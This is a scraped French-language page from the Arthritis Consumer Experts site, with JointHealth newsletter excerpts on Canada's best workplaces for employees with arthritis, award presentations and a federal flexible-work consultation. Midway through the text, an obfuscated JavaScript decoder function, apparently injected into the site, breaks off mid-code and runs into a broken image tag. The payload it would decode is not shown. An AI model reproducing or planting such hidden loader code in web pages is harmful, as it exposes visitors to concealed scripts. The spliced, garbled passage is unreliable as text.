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JointHealth™ insight – numéro de mars 2017: L’arthrite en milieu de travail

 JointHealth™ insight – numéro de mars 2017

Arthritis in the workplace - two human cartoon talkingL’arthrite en milieu de travail : Employeurs et employés parlent-ils le même langage ?

Dans ce numéro du JointHealth™ insight, le comité ACE (Arthritis Consumer Experts) s’attarde sur la situation actuelle de l’arthrite en milieu de travail. Découvrez pourquoi la Ville d’Ottawa et le Réseau de télévision des peuples autochtones figurent en tête de liste des meilleurs milieux de travail pour les employés atteints d’arthrite au Canada.

Dans ce numéro, vous trouverez également :

  • Un aperçu de la situation actuelle de l’arthrite en milieu de travail, avec les statistiques les plus récentes sur les coûts de l’incapacité au travail
  • Des suggestions concernant des mesures d’adaptation au travail les plus susceptibles d’aider les employés atteints d’arthrite
  • Des messages importants pour les employeurs
  • Des conseils pour les employés atteints d’arthrite

Le comité ACE (Arthritis Consumer Experts) souligne les meilleurs milieux de travail au Canada pour les employés atteints d’arthrite

La Ville d’Ottawa et le Réseau de télévision des peuples autochtones récipiendaires des prix pour les meilleurs milieux de travail au Canada pour les employés atteints d’arthrite

Group photo with Mayor Jim Watson receiving best workplaces award

Remise du Prix à la Ville d’Ottawa (de gauche à droite : Cheryl Koehn, ACE; Marianne Phillips, directrice des ressources humaines; Donna Gray, directrice générale du service de l’innovation et de la performance, monsieur le maire Jim Watson; Kelly Lendvoy, ACE)

(VANCOUVER) — Afin de souligner les meilleures pratiques au travail en matière d’arthrite au Canada, le comité ACE (Arthritis Consumer Experts) a révélé aujourd’hui les grands gagnants de sa recherche annuelle des Meilleurs milieux de travail au Canada pour les employés atteints d’arthrite.

De nombreux Canadiens s’efforcent de concilier travail, famille et responsabilités personnelles, et c’est particulièrement difficile pour les employés atteints d’une maladie chronique, l’arthrite arrivant en tête de liste, et qui forment une partie de plus en plus importante des effectifs en raison du vieillissement de la population. Les employeurs canadiens qui comprennent l’impact d’une maladie chronique, et tout particulièrement celui d’une maladie telle que l’arthrite, adoptent des mesures pour adapter les milieux de travail au bénéfice des employés. Selon les renseignements sur le milieu de travail fournis par les employés et les gestionnaires des entreprises ayant soumis leur candidature, le comité ACE a sélectionné la Ville d’Ottawa et le Réseau de télévision des peuples autochtones pour avoir mis de l’avant des pratiques de sensibilisation, de prévention et d’avantages sociaux en milieu de travail.
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Le gouvernement du Canada publie un rapport au sujet des Conditions de travail souples

L’arthrite au travail

Le gouvernement du Canada publie un rapport au sujet des Conditions de travail souples

Travailler avec les patients pour introduire le droit d’accès à des conditions de travail souples au Canada. 

Table from the reportAu cours des mois de mai et juin 2016, les Canadiens ont pu participer à une consultation en ligne sur l’introduction d’un important droit d’accès à des conditions de travail souples, en vertu du Code canadien du travail. Les intervenants ont tous partagé leur expertise, leurs préoccupations, leurs idées et leur expérience personnelle par le truchement de sondages en ligne, de propositions écrites et de discussions en table ronde.

Le comité ACE a participé à ces consultations menées par Emploi et Développement social Canada en étant présent pour les discussions en table ronde tenues à Vancouver et en collaborant à une proposition écrite de l’Alliance de l’arthrite du Canada.

Dans son rapport présenté à l’issue de la consultation, le ministère Emploi et Développement social Canada référait à l’arthrite en ces termes : Continue reading

Remise du prix à l’Université Simon Fraser par le comité ACE

L’un des meilleurs milieux de travail au Canada pour les employés atteints d’arthrite

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function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe presenters” width=”500″ height=”333″ /> (Left to right: Dennis Leung, Coordinator and Harro Lauprecht, Manager, SFU's Return to Work/Disability Management Program; Monica Swanson, Manager, SFU Special Projects; Cheryl Koehn and Kelly Lendvoy of ACE)

Bonjour à tous les membres, abonnés et suiveurs ACE,

En tant que personne atteinte d’arthrite, je sais trop bien à quel point il peut être difficile de composer tous les jours avec la dure réalité de vivre avec la maladie, de faire un bon travail au bureau, même les jours ou les périodes où je ne suis pas au meilleur de ma forme. Notre travail représente une grande part de notre vie. Bien plus qu’un simple moyen de subsistance, nous tirons de notre travail une satisfaction personnelle, un sentiment d’accomplissement. C’est pourquoi le comité ACE désire souligner les employeurs du Canada qui se préoccupent d’aider leurs employés atteints d’arthrite à maintenir leur capacité d’occuper un emploi rémunéré.

Le 28 janvier dernier, c’est avec grand plaisir que le comité ACE remettait à l’Université Simon Fraser un des prix du « Meilleur milieu de travail pour les employés atteints d’arthrite ». Maintenir un milieu de travail sain pour tous les employés, y compris ceux atteints de maladies chroniques comme l’arthrite, est l’un des objectifs importants de l’Université Simon Fraser (USF). Je suis encouragée par l’approche de l’USF en matière de mieux-être au travail, et tout particulièrement par la compréhension et l’empathie dont fait preuve l’USF envers ses employés atteints d’arthrite et par les services qu’elle leur offre. Le comité ACE est absolument ravi d’agir comme ressource pour l’USF et d’autres employeurs de partout au Canada afin de mieux informer la population, d’augmenter la sensibilisation envers la maladie et d’explorer des moyens de collaborer tous ensemble afin d’aider les employés atteints d’arthrite à jouir d’une vie meilleure au travail.

Sincèrement,
Cheryl Koehn
Fondatrice et présidente
Comité ACE (Arthritis Consumer Experts)

JointHealth™ mensuel – octobre/novembre 2015

JHM Title Page ImageInvestir dans la santé et le mieux-être des employés : les meilleurs milieux de travail en 2015 au Canada pour les employés atteints d’arthrite

Dans ce numéro du Mensuel JointHealth™, le comité ACE (Arthritis Consumer Experts) révèle les récipiendaires des prix 2015 des Meilleurs milieux de travail au Canada pour les employés atteints d’arthrite. Au terme d’un processus rigoureux de sélection des candidatures, le comité ACE a choisi trois entreprises, l'Université Simon FraserL'Oréal Canada et High Liner Foods, pour avoir mis de l'avant les meilleures pratiques en matière d'arthrite dans leur milieu de travail respectif et avoir pris l'engagement d'investir dans la santé et le mieux-être de leurs employés.

Le comité ACE porte également un regard sur les modifications apportées récemment aux politiques dans le secteur de l'assurance maladie privée et pouvant éventuellement affecter les employés atteints d'arthrite. Dans ce numéro, vous pourrez prendre connaissance :

  • Des récipiendaires des prix 2015 pour les meilleurs milieux de travail au Canada pour les employés atteints d'arthrite
  • De tout ce que vous devez savoir sur l'arthrite en milieu de travail
  • Des nouvelles politiques dans le secteur de l'assurance maladie privée

Le comité ACE souligne les meilleurs milieux de travail au Canada en 2015…

…pour les employés atteints d’arthrite

L’Université Simon Fraser, L’Oréal Canada et High Liner Foods dominent quant aux meilleures pratiques en matière d’arthrite au Canada

Les employeurs canadiens, en collaboration avec leurs assureurs privés, s’intéressent de plus en plus à la recherche de moyens axés sur le patient qui favoriseront la prévention, le traitement et la gestion des maladies chroniques, dans le cadre d’un programme de santé et de mieux-être pour les employés. Afin de souligner les meilleures pratiques en matière d’arthrite et les initiatives de sensibilisation envers l’arthrite les plus novatrices, le comité ACE (Arthritis Consumer Experts) a révélé aujourd’hui les grands gagnants de sa deuxième recherche annuelle des Meilleurs milieux de travail au Canada pour les employés atteints d'arthrite.

En fonction des renseignements sur le milieu de travail fournis par les employés et les gestionnaires des entreprises, le comité ACE a choisi de souligner particulièrement les entreprises canadiennes suivantes pour avoir mis de l'avant les meilleures pratiques en matière d'arthrite dans leur milieu travail et avoir pris l'engagement d'investir dans la santé et le mieux-être de leurs employés :

  • Grande entreprise – Université Simon Fraser
  • Moyenne entreprise - L'Oréal Canada
  • Petite entreprise – High Liner Foods

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